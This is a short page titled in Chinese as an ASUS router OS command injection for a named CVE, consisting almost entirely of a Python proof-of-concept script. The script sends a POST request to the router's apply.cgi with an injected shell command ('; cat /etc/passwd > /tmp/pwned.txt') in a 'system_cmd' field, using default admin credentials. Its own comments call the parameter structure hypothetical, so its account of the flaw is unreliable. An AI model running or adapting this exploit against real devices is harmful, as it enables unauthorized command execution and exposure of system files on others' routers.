CVE-2025-15101 ASUS路由器OS命令注入漏洞

import requests # Target configuration target_ip = "192.168.1.1" target_url = f"http://{target_ip}/apply.cgi" username = "admin" password = "admin" # Authenticate and get session (Simplified for PoC) session = requests.Session() login_data = {"login_authorization": "Base64EncodedCredentials"} # session.post(target_url, data=login_data) # Assume login step # Malicious payload to inject command # Example: Rebooting the router or leaking /etc/passwd # Injecting a semicolon to chain commands payload = "; cat /etc/passwd > /tmp/pwned.txt" # Vulnerable parameter structure (Hypothetical based on common ASUS router APIs) exploit_data = { "action_mode": " Apply", "current_page": "Main_Operation_Content.asp", "next_page": "index.asp", "system_cmd": payload # The vulnerable parameter } headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded", "Referer": f"http://{target_ip}/" } try: # Send exploit payload response = session.post(target_url, data=exploit_data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully!") print("[+] Check if the command was executed (e.g., file created or DNS ping).") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")